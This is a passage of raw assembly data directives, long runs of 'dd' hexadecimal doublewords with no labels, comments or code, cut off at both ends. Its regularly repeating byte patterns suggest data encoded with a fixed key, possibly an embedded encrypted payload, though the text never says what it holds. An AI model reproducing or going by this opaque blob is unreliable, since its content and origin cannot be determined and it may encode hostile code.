56CF519Eh, 5678AFB4h dd 56EF5832h, 90B3B132h, 5674542Eh, 5ED5BE32h, 59AEB132h dd 5657B3B4h, 56CAD132h, 5E5CBE32h, 59EAB132h, 5675B3B5h dd 56DBD132h, 56525832h, 9EE6B132h, 3C5986FBh, 0FB9C65h dd 9831DDEBh, 59EAB1B5h, 5675BBBDh, 0A431D132h, 9F97BB3h dd 56CFD93Ch, 58D9BE32h, 0BFABB132h, 56D5B13Bh, 2AB636FCh dd 0C3F5F184h, 5852D139h, 45DB132h, 0F3E8FF90h, 0EA4C8DFAh dd 3FA11C9Dh, 56DA59F6h, 2B08B132h, 0ACAA57Eh, 6618306h dd 21EA6086h, 0AFF0EE97h, 0BF57B153h, 56ABB13Ch, 9DBE8970h dd 3167F823h, 3BD84973h, 56BA6305h, 56505852h, 811DB132h dd 0A1534BB8h, 5DE9CBABh, 0BE0B7562h, 56EAB13Dh, 303B33CCh dd 0A2C314C3h, 0B15D3A11h, 30D0DD79h, 0DD0BE89h, 0BFABB153h dd 56D5B120h, 0ADB88D1h, 117E9654h, 0DDE9DE18h, 5EF1F562h dd 56AEBDC1h, 5657BEDBh, 0D9D38432h, 92D1E077h, 441957A0h dd 0D67C340Eh, 4553B132h, 2F5DB132h, 0BBD4434Dh, 2B4626CDh dd 1505ED4Bh, 0E7FF58E4h, 56EA8E6Ah, 567D5852h, 975B132h dd 0A702D835h, 0DDC861EEh, 5657D0FDh, 30180252h, 37D46E88h dd 0A06BD752h, 5A9CC902h, 0A0BAB132h, 7EBA76C2h, 712A8122h dd 37E9FA7Bh, 5842B132h, 5D5B132h, 6AB6F66Fh, 2CAD9C9Dh dd 54C9BD89h, 595DB111h, 56AEB0B1h, 56574932h, 36ABB1CAh dd 0BF1C0E3Dh, 56EAB13Ch, 63A78D03h, 807C01B2h, 94A49924h dd 59CFF3A4h, 5657BDBAh, 5021BE32h, 59D5B132h, 56EAB1BAh dd 0BF75B132h, 56BAB13Ah, 2FCFF89Eh, 366A53C9h, 0D858B132h dd 56ABB13Bh, 8054D752h, 378A2768h, 5975B153h, 56BAB0B6h dd 0D2524932h, 56AEB13Ah, 5655393Dh, 37CBB132h, 5629B132h dd 56EA4432h, 29843052h, 0BE8C533Eh, 565DB134h, 53083461h dd 0D731AD58h, 0D487EDBh, 0AFD5B153h, 0D4E5B132h, 5675B121h dd 56BABFDBh, 59775632h, 0AAC7E304h, 0BF6B674Eh, 562FFEF2h dd 56D85832h, 0D22AB132h, 0C140D205h, 0FD452035h, 5683EB8Bh dd 56AE4D32h, 0A8DCD752h, 56A8393Dh, 0DDB3B132h, 56EAD0C8h dd 0B9FFD1CAh, 56BAB7DBh, 14E13132h, 374F8E9Fh, 56A2B132h dd 5E2ABE32h, 59D5B132h, 56EAB3BBh, 5614D132h, 0DCEDD132h dd 563CEECEh, 56AE4832h, 5657A0DBh, 0ABEE8232h, 2C6515E5h dd 78324011h, 6A80B582h, 56BA4004h, 565DBADBh, 0CBFE0B32h dd 0A0D2921Ch, 0E41A15B4h, 0D2DAB132h, 56EAB13Eh, 5673343Dh dd 0DDB5B132h, 565DB132h, 532CBE52h, 0EC57B132h, 6F629120h dd 56C6313Dh, 5803B132h, 0AE75B132h, 7225B647h, 998722BBh dd 12852B1Eh, 5657D0ABh, 37F2E352h, 0D6DAB132h, 56EAB133h dd 3675B1CBh, 34234B8Ah, 0D73BE634h, 95E9AFDh, 5957B153h dd 56ABB0B3h, 56D54832h, 56E4303Dh, 5F9CB132h, 0D3BAB132h dd 42EE26B3h, 31AA5B06h, 0D558B132h, 56ABB133h, 0BFD5B1CBh dd 56EAB13Ch, 72FCB73h, 82639F81h, 6A6731EDh, 56AE10DFh dd 5644353Dh, 5842B132h, 5ED5B132h, 98EC4FF4h, 86098723h dd 6B9462Ch, 365DB11Eh, 0D7C879B9h, 37E047DDh, 5657B132h dd 5751BE32h, 0AEEAB132h, 429CB132h, 0B5BAB132h, 3A7DAF91h dd 0F9B009CFh, 0F1ED966Dh, 0A90F452Eh, 56619EF6h, 56FA5832h dd 0F803B132h, 3236C507h, 532AA60Eh, 6347BA93h, 56577767h dd 59ABB1CAh, 56D5BBBFh, 56EF5832h, 0C357B132h, 0A3AC1807h dd 56A4B132h, 56AE4832h, 3657B1CBh, 0E213938Dh, 56C55828h dd 0AB48B132h, 354076ECh, 0A2F43181h, 154A89ECh, 56CFC1BBh dd 565B5832h, 0FAEDB132h, 0F0960FA0h, 0DE287249h, 5675C77Ah dd 0EFB70752h, 2BDE142Ah dd 59AEB153h, 5657A1BBh, 56A05832h, 8DF2B132h, 0CD39B105h dd 0AC0F50F9h, 0BFBAB1A6h, 565DB122h, 0D2BC7A24h, 5F1617CBh dd 1C796A56h, 69317AC2h, 4203B132h, 0D75B132h, 0B120719Ch dd 0A7895AF7h, 0F7656A99h, 25DBC0A3h, 592240B0h, 56D5B0B7h dd 56EA4432h, 5675B9DBh, 839F32h, 5BF4932h, 36AEB11Eh dd 9FECDE89h, 0E9A4E647h, 56B4EEC4h, 56EA4432h, 0BF75B1CAh dd 56BAB120h, 3DCD512Ah, 552D791h, 5D578EB4h, 50CF5FACh dd 56D53B76h, 56EAA5DBh, 8A360D32h, 6FBB40B8h, 24584F05h dd 0B3D0C49Bh, 91CFC92Ah, 56BF58ADh, 0F714B132h, 8B6A099Dh dd 4053F305h, 3AC9474Ah, 883B94D4h, 56AEF048h, 565A5952h dd 0F50FB132h, 8624BA1Bh, 0AF78780Fh, 0BF30C806h, 56BAB13Eh dd 5B51AC0Bh, 0B46974E9h, 0A5AAB8EAh, 4442D068h, 0D0D5B132h dd 0FEB2C513h, 97CC61BFh, 274AC1D9h, 6AC0CFEFh, 0BFAEB12Ch dd 5657B13Ch, 5B9595Dh, 4B858BEEh, 6BCB906Fh, 5675B762h dd 0E9DCD1CAh, 0D652A32Eh, 56AEB136h, 0A85B0E54h, 0BFABB153h dd 56D5B126h, 8500AC45h, 80570297h, 5AC22D78h, 0B23BAA2Ch dd 3BF380DAh, 3037B132h, 30AF1C8Ah, 36B477B9h, 0BC6BD760h dd 592F7C7Bh, 56DB668Dh, 565B5832h, 421CB132h, 6E09A307h dd 0AEABB1C7h, 5D3CB132h, 48EAB132h, 661DC7BFh, 0B8813AFEh dd 565DA04Dh, 5524BE52h, 5957B132h, 0DDCD6E85h, 56D5D0C1h dd 0AAEAB1CAh, 5F9CB132h, 0AABAB132h, 0C4B931DBh, 63811F4h dd 36AFB132h, 10F356B3h, 7764DFC6h, 0A3EAB153h, 0D77AB132h dd 56BAB123h, 565DBDDBh, 67340332h, 21BFCB4Dh, 3EBDA77Eh dd 59D5B1E2h, 56EAB0BAh, 56754D32h, 56BB303Dh, 0AEA4B132h dd 0DDA1B132h, 5657B126h, 56ABBEDBh, 0C997B732h, 7F205BBh dd 3028B1D3h, 5903D734h, 365DB1CBh, 0D8A16FB8h, 5657B133h dd 56ABD0CEh, 56D5A3DBh, 43AF6A32h, 1D4E271Fh, 0F6A12142h dd 0E5B6AB27h, 56563D1Ah, 56585832h, 92A9B132h, 30F19732h dd 0B87DA7CDh, 2B2A7411h, 0BFBAB195h, 565DB123h, 8BFB4382h dd 5C959488h, 8077FE9Ah, 9BA88C6Eh, 0A3EAB15Eh, 5915B132h dd 56BAB3BDh, 59873A32h, 56CF4B8Dh, 56475832h, 0FEFB132h dd 64372012h, 6E4C1FDBh, 2F3CB4BDh, 56BA5C72h, 5655363Dh dd 0DBA1B132h, 5657B130h, 56ABD052h, 36D5B1CAh, 9E6EAB89h dd 568DD06Dh, 56AB5832h, 0C17B132h, 0E308C473h, 7A8667Ch dd 35FBB18Ch, 56B2B2AEh, 5163BE32h, 5975B132h, 56BAB0B1h dd 565D4432h, 56AEA0DBh, 626DF932h, 0C7B34592h, 160A25B8h dd 0BEB5BB61h, 5675DC10h, 59BAB1CBh, 565DBDBCh, 5023BE32h dd 5957B132h, 56ABB1BBh, 0A3D5B132h, 5B03B132h, 0B875B132h dd 4ECA523Ch, 0B5A8A42Fh, 0E2E59E13h, 56A2B132h, 56A05832h dd 0CF80B132h, 121D78BAh, 5A8F7307h, 56BA4852h, 0AF5DB1CBh dd 5347B132h, 4657B132h, 0C45DF80Ah, 562DB132h, 368AD132h dd 8FF4D753h, 0BEDB7CDBh, 565DB134h, 0C758272Ch, 370C2CCAh dd 0DFA4B132h, 56D5B135h, 56EB3F3Dh, 5689B132h, 30E9D132h dd 9A6EE89h, 0BC2ED153h, 2D150850h, 56CA9E7Dh, 56D05832h dd 0EC96B132h, 3608409Ch, 476D3054h, 0A5D6D76Fh, 59AEB153h dd 5657B0B8h, 56AB4432h, 56D5BBDBh, 2E4A832h, 0CD5F0AEAh dd 56C0B0F2h, 0D73D4D32h, 7F68C1E3h, 0DBF3156h, 59ABB153h dd 56D5BBB9h, 0DBE5D132h, 5675B132h, 56DBE963h, 40DABE32h dd 36AEB132h, 5657B8DBh, 0B26CE632h, 5A5F0849h, 0DDE58522h dd 5675B132h, 59BAB153h, 565DB4BEh, 0DDC8D132h, 5657D0C5h dd 36ABB1CBh, 0EFB369B9h, 568B1BB5h, 56754932h, 56BAB4DBh dd 971AB932h, 0DBA1E2DBh, 5657B133h, 0A3ABB1CEh, 5A3CB132h dd 0EAEAB132h, 0BDF8B469h, 0B21DE3EEh, 5678DC69h, 56A05832h dd 36F8B132h, 0C0C6830Ch, 5342E249h, 6F88A6B3h, 5675A1DBh dd 0B0714B32h, 746DEF28h, 0F5C18B17h, 0EE7544F8h, 59ABB18Fh dd 56D5B6B2h, 5763BE32h, 0AF75B132h, 0BFBAB1CEh, 565DB126h dd 3B102579h, 0E9FB9838h, 3A9DB056h, 0FCF3BF89h, 3212A3A5h dd 469CB132h, 35BAB132h, 0E088FB4Bh, 68C0E71Dh, 0ABB07302h dd 56C56903h, 56D54932h, 32003152h, 56146BB9h, 56BD5832h dd 0A4FDB132h, 0DF0DF5D7h, 3657B1A2h, 2E493054h, 56D359A4h dd 835BB132h, 261EAE99h, 56BA3F3Dh, 3705B132h, 3652B132h dd 5654363Dh, 0E9A4B132h, 56C658F8h, 91AB132h, 57CA1E4Ch dd 1744EACDh, 0DFF5C503h, 5130F34Dh, 5657D00Ch, 56AA353Dh dd 562CB132h, 5766BE32h, 0AA75B132h, 5D53B132h, 1F5DB132h dd 5B0E5A6h, 0E396EA7Ah, 56ABBA3Dh, 56D25852h, 52FFB132h dd 0DA0C7C0Ah, 9005BEC9h, 0AE5DB153h, 56AEA1DBh, 61C6A32h dd 5AE076B6h, 0B7E8C951h, 25A9D006h, 0A375B139h, 56BABCDBh dd 42A74B32h, 9DD068Fh, 0AC280029h, 56AB6D95h, 56D5BCDBh dd 0AEC56932h, 81C6F929h, 0A1BE4BB8h, 565DCBABh, 56AEA3DBh dd 7D586432h, 300F0C29h, 924CE84Dh, 0C5445D23h, 56EA4F43h dd 56B55832h, 16EDB132h, 94CA9B88h, 132414A1h, 54715D0Fh dd 0BFD5B1F6h, 56EAB120h, 4C6D66F3h, 89A10C62h, 256760F3h dd 0D437DEE2h, 5657FEBDh, 56AA393Dh, 5620B132h, 0EC8CD132h dd 5614DC23h, 4553D132h, 315DB132h, 8242C6BAh, 0E38F4F72h dd 0ED147872h, 0D45255E1h, 0E98C020Fh, 5914C5E2h, 56BABDBAh dd 50D6BE32h, 59AEB132h, 5657B1BCh, 59ABB132h, 56D5BDB4h dd 5069BE32h, 5975B132h, 56BAB1B5h, 565D4932h, 56AF3F3Dh dd 56AEB132h, 5343D132h, 0B7D5B132h, 335FE93h, 5675A2DBh dd 0C0307A32h, 5759188h, 0FB631560h, 16BF3C82h, 677EE6F0h dd 0D9DAE06Ch, 56EAB132h, 5675D069h, 36BAB1CAh, 0BF85063Dh dd 56AEB138h, 0C4E962C7h, 6781D83Ah, 56B4815Dh, 5763BE32h dd 0AA75B132h, 0DCDAB132h, 565858DDh, 70DCB132h, 3747E5B4h dd 5652B132h, 5058BE32h, 36EAB132h, 3715A380h, 0BFBAB153h dd 565DB13Ch, 0C5F3F676h, 0FE38C81Ch, 3BB27388h, 56D54DD9h dd 0BFEAB1CEh, 5675B126h, 2A9820D2h, 0BF415BAEh, 0BC7C0AD2h dd 19C686C0h, 71282C7Dh, 36B5B132h, 372D063Dh, 5675D0C7h dd 56BAA3DBh, 70369432h, 0CCE3B35Fh, 0A771C610h, 0BCAA6157h dd 56560DFDh, 5763BE32h, 0AE75B132h, 0DFB5B132h, 565DB12Ch dd 145C3152h, 5657A5DBh, 541732h, 0F42DF14Ch, 0E1805F9Eh dd 0E42B3D74h, 2BFECE49h, 565DD0FCh, 37CEE052h, 54D3BE69h dd 0ABB132h, 56D5D06Dh, 56EB333Dh, 568CB132h, 56BA4D32h dd 565DBADBh, 51F6D832h, 0FB726BAh, 0DEB8BC66h, 59B5B132h dd 0D8E57885h, 5675B130h, 56DBD052h, 5FB44932h, 0E7AEB132h dd 7EE0DDC0h, 94765CB2h, 0AEB5B132h, 37737AB2h, 519CB132h dd 79BAB132h, 8A7D5F70h, 56AEA043h, 0A3E9E652h, 0EABD11Eh dd 56D7353Dh, 378AB132h, 0D5C5D153h, 93610A54h, 365DB153h dd 56AEBCDBh, 127A1232h, 8B68BD99h, 473B847Ah, 308A8EE4h dd 9D9573B3h, 0DE7C3054h, 563CD052h, 56AB5832h, 7DC7B132h dd 56E5D288h, 56204432h, 56FA5832h, 2A6B132h, 0DC85013Dh dd 0EEC7F2E0h, 32E737F7h, 59BEB529h, 85ABB132h, 12811B57h dd 0F8A46B82h, 4F30360Fh, 56BA1CDCh, 0A35DB1CAh, 6CEB132h dd 3636486Ah, 37D007CEh, 443CB132h, 3EEAB132h, 579F4A73h dd 85D4544Eh, 57FC6A1Bh dd 56032C7Bh, 0A357B19Bh, 4642B132h, 4ED5B132h, 0EA5DD1CCh dd 3D3E7599h, 0F32F63EEh, 568A2637h, 56AE4D32h, 6EFD752h dd 0B52AD7B5h, 56B45F91h, 56EA4D32h, 5975B1C7h, 56BABBBCh dd 0DE52D132h, 56AEB132h, 563679B9h, 0D7A4D132h, 56D5B132h dd 56EA4853h, 56743D3Dh, 564FB132h, 0D752D132h, 56AEB132h dd 56D9BE52h, 36ABB132h, 56B4D053h, 56E15832h, 3836B132h dd 21239BB3h, 17D8F5F5h, 36AEB15Ch, 375C55B2h, 0D6A4B132h dd 56D5B13Bh, 0E9B2E652h, 8359F76h, 36BAB153h, 98D6D764h dd 8D2FD76Bh, 56365928h, 56AB4432h, 56DB5952h, 0BADBB132h dd 0A8102EFCh, 88B60919h, 5950A972h, 56AE3D3Dh, 300DB132h dd 2A8B63B3h, 0AFD5B153h, 0AF12B132h, 0DE7AB132h, 56BAB138h dd 3AB53052h, 49FA7B4h, 5657D068h, 862AE152h, 75E09319h dd 8E5DBE69h, 0A375B153h, 0E5DAB132h, 0F0DD1B9h, 56AED053h dd 565B343Dh, 5142B132h, 79D5B132h, 37AFBC0h, 0DA7AFAC1h dd 56BAB135h, 565C393Dh, 5657B132h, 56574432h, 5020BE52h dd 59D5B132h, 56EAB1B3h, 5689D032h, 56B35832h, 72BB132h dd 5835D9E5h, 562EA5F4h, 5E26BE32h, 59D5B132h, 56EAB3B5h dd 5614D132h, 4532BE32h, 0BF5DB132h, 56AEB13Ch, 0C5DC35A6h dd 1CCBEEh, 41836734h, 56EA3FD3h, 8CFED752h, 0A805BE64h dd 565DD068h, 56AEBCDBh, 8501BB32h, 6DF2B023h, 4652A386h dd 56EA308Bh, 0BF75B1C7h, 56BAB13Ah, 0C4DB0D96h, 4D455392h dd 42BEB132h, 0BDABB132h, 33A51704h, 0DAA8E41Bh, 59AC3AA8h dd 1E915F5Dh, 56EB1C91h, 56A75832h, 0B057B132h, 0CC9C94C3h dd 0A3B19F76h, 56024452h, 0C75B132h, 0E3545BB3h, 0E53DB932h dd 0D7C8D126h, 36DB9DE9h, 59CAD053h, 56D5A8B3h, 56FE5832h dd 7DBAB132h, 545A2B69h, 0EC19BB0h, 2FD515F2h, 0C78D4440h dd 59CB3466h, 56D5B7BBh, 0A1193032h, 0BF492EC4h, 56BAB13Bh dd 3CC7349Dh, 5B66AD89h, 0D3DAD00Dh, 51540A5Fh, 56D5B8DBh dd 2A6CCF32h, 0FA2A1F32h, 0D4337F27h, 5E5D2FABh, 56A23A3Dh dd 0DE58B132h, 56ABB134h, 56D5333Dh, 0D467B132h, 5E74EA8Dh dd 56BABADBh, 0C3038832h, 2D1904CBh, 297218B0h, 0C80633BBh dd 0D3DAB932h, 56EAB12Bh, 23973052h, 0BF9028DBh, 565DB13Eh dd 0F105959h, 5F3F8478h, 0C61D7DDFh, 62435953h, 0DBE5B132h dd 5675B124h, 56BAA0DBh, 13341C32h, 2F0043B9h, 975528DDh dd 0CEC9F5ACh, 30B516C3h, 0DD8C7EB9h, 789DD0CBh, 0BFBAB130h dd 565DB139h, 0F39D3D83h, 7BB92861h, 91316013h, 564BB1B0h dd 56EAB13Ah, 589CD132h, 0DCBAB132h, 75C01E5Eh, 96E7EB70h dd 4D6C77DDh, 0BC2BE69Fh, 4B4EE51h, 56FD3E3Dh, 449CB132h dd 0B1BAB132h, 4196807Ch, 0AD3D690Eh, 1F86BF5Eh, 6D727E7Fh dd 33507706h, 0ED4B34h, 0EE27D9CBh, 0A94F2D9Ah, 0AC7D2487h dd 5729BE35h, 0AF57B132h, 56A15952h, 4B11B132h, 17828C1Bh dd 2A745BC9h, 79A77C8Dh, 0D852EE61h, 56AEB133h, 0D3DAD0C7h dd 515612EFh, 0D7B3D1CAh, 15C84F5h, 5675B9DBh, 6EA04132h dd 787FEAA1h, 0A9CFE8C8h, 565F58E2h, 0E024B132h, 107FCED3h dd 0D363736Bh, 518F9B07h, 56BABDDBh, 50966B32h, 0C4968203h dd 0C5683EC0h, 0AFAFDB02h, 56C5B15Ah, 56ED5832h, 0F742B132h dd 86D6D4F7h, 5B1DD9DCh, 3C5BB131h, 86A84D32h, 56A3373Dh dd 0DEDAB132h, 56EAB130h, 592FD052h, 56BAB9B2h, 54D9BE32h dd 36AEB132h, 5997BA53h, 56AB56B6h, 0B854D132h, 7E8F1807h dd 0F7A33054h, 0DF4FD016h, 56C3B1B0h, 0D427483Ah, 5E572F2Ah dd 56ABB6DBh, 9533D332h, 0C261160Dh, 5578F18Bh, 0AE314932h dd 565C323Dh, 655BB132h, 94D6D1F2h, 5D4BACC4h, 37253A54h dd 41F1BC1h, 566C373Dh, 0D3B5B132h, 565DB121h, 56AEBFDBh dd 0A29C5132h, 0A90A00B7h, 1F515309h, 596F3F68h, 5675BEBFh dd 0DDDCD132h, 565858E2h, 2520B132h, 37BE96D6h, 3E57B558h dd 56D5A132h, 56ED5852h, 0BD32B132h, 481D6DFCh, 17E6D72Eh dd 56C6D077h, 0BF57B136h, 56ABB13Eh, 0A22E0A55h, 2B011DC7h dd 0BF2864E9h, 4553B158h, 4A5DB132h, 0B0C80C0Fh, 6AAE7B7Dh dd 8F5A83E8h, 0BC0F35B7h, 0C415C978h, 518F9B07h, 56BABFDBh dd 92BDFD32h, 2AB54D5Ch, 0C59302F5h, 0C185F15h, 0E55738C7h dd 0AAE2B192h, 40FFBE53h, 0BFBAB132h, 565DB123h, 2F5BBA3Fh dd 2D240216h, 0F70B166Ch, 3787CFEAh, 566F3A43h, 0A37DB1ACh dd 56B158F1h, 0AF3BB132h, 6EE5B292h, 38717BC8h, 5A42D1BCh dd 19D5B132h, 790FAED7h, 0F87A23BDh, 91FBACDEh, 0AC5FB0B0h dd 16AEB135h, 0D4904432h, 51518477h, 56D5A132h, 56EABFDBh dd 95349132h, 867728F2h, 0CE1F184Bh, 370C22E3h, 0E53772CAh dd 37CAD12Dh, 0BFB5D152h, 56EAB13Dh, 0CF65163Ch, 0FFA61B8Fh dd 0C3A734FDh, 37C70D0Fh, 87DCD752h, 56AB3F3Dh, 37B4B132h dd 0C8EA0BB9h, 0DF7AB932h, 56BAB133h, 566232CEh, 5601353Dh dd 0D5ABB132h, 59A9A14Dh, 56D5FFB6h, 0BE6BD132h, 1837ACA8h dd 56BAB7DAh, 68837332h, 0DC69AF92h, 0D536EFF9h, 59AFA14Dh dd 56D5E9B6h, 56E75832h, 79EFB132h, 0C5F0B618h, 0F4017C5Fh dd 0D5440D5Ah, 58BEA5F5h, 0B5ABB132h, 0F275DA7h, 3E7F86E4h dd 0C450FB5Bh, 0A925586Fh, 91A84ECDh, 56AFA175h, 0D558B132h dd 56ABB123h, 56D5BDDBh, 0C5C47C32h, 192919C3h, 0F46F2F52h dd 0A99C58D5h, 30CE4ECDh, 67EE47B3h, 46EC7653h, 56D5B131h dd 56EC5852h, 85F9B132h, 0C0870655h, 0BF3C66B8h, 0A9514EADh dd 5657BADBh, 0C979FF32h, 142DD12Bh, 0A089D323h, 0D37AD0C7h dd 56BAB133h, 0BF9E4DCEh, 56AEB139h, 562F4133h, 0CD2B3778h dd 3021BD4h, 56E43E3Dh, 5F9CB132h, 0B1BAB132h, 851CA14Dh dd 34E8B4F8h, 59BE5DB9h, 0EBABB132h, 0CE9C8AFh, 0F8957431h dd 269B6EEh, 53532CD4h, 3B5DB132h, 0EFEF87FEh, 57D4BE52h dd 0A3ABB132h, 56D5B1DAh, 0BC6BEB32h, 5E750BBAh, 56B058C7h dd 2654B132h, 65F1EAFCh, 0AA8DFF3Ch, 0F66703B9h, 30B5B932h dd 0D0E57FB9h, 5675B136h, 0D5E90E54h, 57D5BE53h, 0AEAEB132h dd 0BF5FF4B9h, 56ABB138h, 61076748h, 0BC00CB43h, 50FC0448h dd 56A1333Dh, 0BF3DB132h, 56AEB123h, 36B9336Ch, 3C4C9875h dd 0D6E2EAD4h, 4FB46410h, 12AE31E3h, 9A383253h, 5255B192h dd 5E47D0CAh, 6E57B132h, 3880F40h, 9F881BB6h, 56EABADBh dd 0CCDD7E32h, 50CDB38Dh, 0AE5FF717h, 56A45852h, 0D411B132h dd 0E43A21F4h, 0E40E35D6h, 0D01CC989h, 52B7D053h, 0D7DCD132h dd 0AE3650FDh, 4547D153h, 5357B132h, 606E9910h, 0C0681C3Ah dd 872584B9h, 0B62647AAh, 0E9DAFD77h, 535385CCh, 5624BE62h dd 0C57B132h, 56AB5953h, 0D78FB132h, 5651D4D8h, 52F7BE3Ah dd 36BAB132h, 0BF3CD052h, 56AEB13Dh, 741FC5A3h, 0CA8103Fh dd 37EC8252h, 0DD4993BCh, 56D50280h, 37DAD13Ah, 37AF0E3Dh dd 0F6620309h, 0D258B932h, 56ABB0B2h, 59EB3ACBh, 56EABFBDh dd 567C5832h, 0E522B132h, 4D8DCE95h, 59450CD2h, 5657B0B1h dd 89204832h, 1963BEC7h, 56E75833h, 15A4B132h, 6E159051h dd 25CC22FCh, 0A03D6F43h, 59D7B075h, 56ABF6B7h, 56DD5832h dd 69E0B132h, 0F3353056h, 8FB90D70h, 43D6BECAh, 0BFAEB132h dd 5657B122h, 31403FDAh, 5728C62Dh, 458D9EBFh, 2018A398h dd 56BAACDBh, 50D2BE32h dd 36AEB132h, 0A8DC7AB9h, 56AD5853h, 1BF4B132h, 0A1868305h dd 0DD156819h, 59F9D0C8h, 565DB6BFh, 0A62ED132h, 37D0050Dh dd 5321BE71h, 36D5B132h, 37333A54h, 5667313Dh, 5B53B132h dd 195DB132h, 2643D49Eh, 0BF2C0590h, 6A86BA77h, 72FC34B9h dd 0BE8AB6C8h, 5675B126h, 0B9509056h, 2967A4F2h, 7758D7FFh dd 10D4F7B6h, 688A4172h, 308A5A85h, 368B6EB9h, 5673373Dh dd 0D9B5B132h, 565DB132h, 37593A54h, 62923CB9h, 6D5EB6C8h dd 1D57BEEAh, 0BFEAB132h, 5675B138h, 0A2D9D9BDh, 0B84682Fh dd 5847D677h, 8357B132h, 82FA4441h, 0D315CE25h, 0C45462C7h dd 59AC8A3Ah, 56BA90B5h, 47B44D32h, 75AEB132h, 567125A1h dd 0CF1C021Ah, 432D6888h, 2B9F7FD0h, 0AF7177B1h, 0A94412DBh dd 996649CDh, 5688353Dh, 0DFAEB132h, 0AC9F748Fh, 0D63C4435h dd 0BF154ECCh, 5675B126h, 66ED4630h, 7084F117h, 0E39D2D41h dd 5C1CF41Bh, 391E10F5h, 56D95853h, 0DA9AB132h, 0C2CAAD92h dd 310F1880h, 599EF74Bh, 56AEB0BBh, 36374832h, 12D7CBh dd 563DD019h, 0CEAB132h, 0EB3F5BB3h, 0ECDAB932h, 40A6CC37h dd 8683B63h, 56505853h, 0DAFFB132h, 0F5329976h, 591FD1F0h dd 5675B7B5h, 4B7D3032h, 37525DA4h, 0F61D0BB9h, 0EF37B932h dd 357E60C6h, 56D5393Dh, 0EF8BB132h, 5675B032h, 0BF7A82C7h dd 565DB122h, 844A71AAh, 7DD56C1Fh, 3647F23Eh, 2363DAA7h dd 0D8E51AC1h, 5675B139h, 5630BE52h, 595DB132h, 0DDCF4385h dd 56F702B0h, 512DBE3Ah, 36D5B132h, 0E9E5D052h, 0D4FCD0C8h dd 5EBA11FEh, 0D752D0CEh, 56AEB13Bh, 300CE252h, 3D068B3h dd 5C3C7253h, 0B9EAB132h, 0B40A5837h, 8269DA52h, 593D446Bh dd 56AEBCB0h, 565F5832h, 8B00B132h, 0FF3CF692h, 56028360h dd 0C75B132h, 0E8B45BB3h, 58B4B932h, 0DAAEB132h, 0D45EC6C9h dd 5A8778ADh, 0D8ED5E20h, 0D32C4889h, 518FB757h, 0DCB5D164h dd 565DB134h, 131E7EB3h, 0BE37AE22h, 56ABB13Ch, 6BB9D1FFh dd 8E891DFFh, 0BEF6E1D2h, 59E518D4h, 373C418Dh, 49C3885Ah dd 57D5BEE6h, 0A3ABB132h, 764004CDh, 0BF8AB6C8h, 5675B120h dd 0CDB80A02h, 4351B44Ah, 0D2B8AB9Ch, 4E4E168Fh, 851D634Eh dd 8B503C53h, 36ED4C91h, 5675A5DBh, 0DCF51732h, 8C32CA70h dd 1AD6EDD1h, 589129B3h, 842D4D39h, 862AD035h, 56EAB6DBh dd 3C06C532h, 7E7C7B28h, 303DD160h, 6ACB41B3h, 0E936E960h dd 6524DAC1h, 3E29E153h, 56EA3132h, 567F373Dh, 5353B132h dd 0AE5DB132h, 76F4F220h, 0AE57DBC7h, 56ABA3DBh, 91106A32h dd 0ABE369D0h, 73AE2C1h, 0EF3C04DCh, 0A91ED95Dh, 5630B180h dd 565F583Ah, 0A309B132h, 93F7A1B8h, 598A0E4Ah, 5675B4B6h dd 0DB250B32h, 0A93CCB27h, 59F644E2h, 5657B0BBh, 36F14832h dd 371B063Dh, 566AB15Ah, 567A5832h, 692EB132h, 0B92D61BCh dd 1320AB44h, 5A0CD418h, 4129BEA1h, 36D5B132h, 56EABBDAh dd 8F315A32h, 5A5E0B20h, 0C470498h, 9F658Ah, 563DD05Eh dd 0E5194ECBh, 0BFDDB192h, 56EAB122h, 9BFC2749h, 0D8CB72F2h dd 78C37A80h, 7C48AAACh, 63761CDh, 37CA446Ch, 56C03D3Dh dd 598AB132h, 5675B1B5h, 56B25832h, 524AB132h, 0B95D0880h dd 5936C641h, 56ABB6B3h, 5752BE32h, 0AAEAB132h, 0D713D1F1h dd 0BF9978E8h, 565DB13Ch, 0B81C7299h, 72C99062h, 0E1EB522Ch dd 36B4E6AEh, 56EB313Dh, 3780B132h, 5130BE67h, 595DB132h dd 56AEB0B8h, 0BADC4932h, 56ABA1DBh, 0CCC2F832h, 0C01CA496h dd 0E236256Ch, 0D26B92A8h, 0D352D144h, 56AEB133h, 565759C7h dd 0D7F1B132h, 5615B0D8h, 0AE8A443Ah, 5675BBDAh, 0DF53D632h dd 0D571379Ch, 59575C16h, 370E7885h, 36A3C4B9h, 5650BE61h dd 0DEAB132h, 37A50E3Dh, 5430BE52h, 0DD5DB132h, 37763AC0h dd 565981DAh, 56B95832h, 0E38AB132h, 2FE99F8Fh, 0A64CC198h dd 0F2B84B72h, 0D2F7C40Fh, 56AEBADBh, 73D56E32h, 0BA2B90E8h dd 31AF9D1Dh, 5A6BBE67h, 5975B132h, 56BAB7BFh, 56D9BE32h dd 0A9AEB132h, 56C928A0h, 0E1A4D13Ah, 0AEB449C5h, 56EF586Fh dd 0C7BDB132h, 6D5BC4E8h, 0D352BD47h, 0A9514E92h, 19230852h dd 2E13C2C2h, 37CA0F97h, 56E775DAh, 5EF3BE32h, 36BAB132h dd 565D3F3Dh, 36CFB132h, 0F973054h, 56A6582Fh, 6F16B132h dd 429473E3h, 0CF545463h, 3770EC4Eh, 565A5853h, 8A90B132h dd 0FCADA985h, 504278C1h, 74D5B132h, 9608AE1Eh, 567D73FCh dd 4653D1CBh, 415DB132h, 497D352Eh, 56AEB7F1h, 18D67537h dd 0D7560ABDh, 6DD35CD5h, 5920D042h, 56BABBB3h, 56585832h dd 1E50B132h, 0DD44762Eh, 0DAA4D1DEh, 56D5B134h, 0DF096EB3h dd 8FFEEDF2h, 0AA7E3253h, 1A1E7CEh, 56A25852h, 34FFB132h dd 0C810ED66h, 0D4CB442Ch, 0DD8C2B1Ch, 0AF26D0E5h, 56BAB1DAh dd 0BCDCEB32h, 5EAE7066h, 0DD31E152h, 5142EBCCh, 0FED5B132h dd 93533D45h, 59149ABFh, 56BABDBAh, 7EE3D132h, 0EDEF21C9h dd 10C8118Ch, 5C43D153h, 60D5B132h, 0E87372DAh, 0B6B79A2Ah dd 8505BEE8h, 0DF853169h, 5EDB3A53h, 56D5BE52h, 30ABB132h dd 90387FB3h, 46973A53h, 615D1CAh, 5636BE6Ah, 375DB132h dd 377C063Dh, 565F5865h, 6832B132h, 98F82CFBh, 0BFBC3F1Ch dd 5675B126h, 8E749E4Ch, 442543D7h, 2CCE3AF1h, 0D1D32141h dd 3494A9D0h, 56D5BEDBh, 17160D32h, 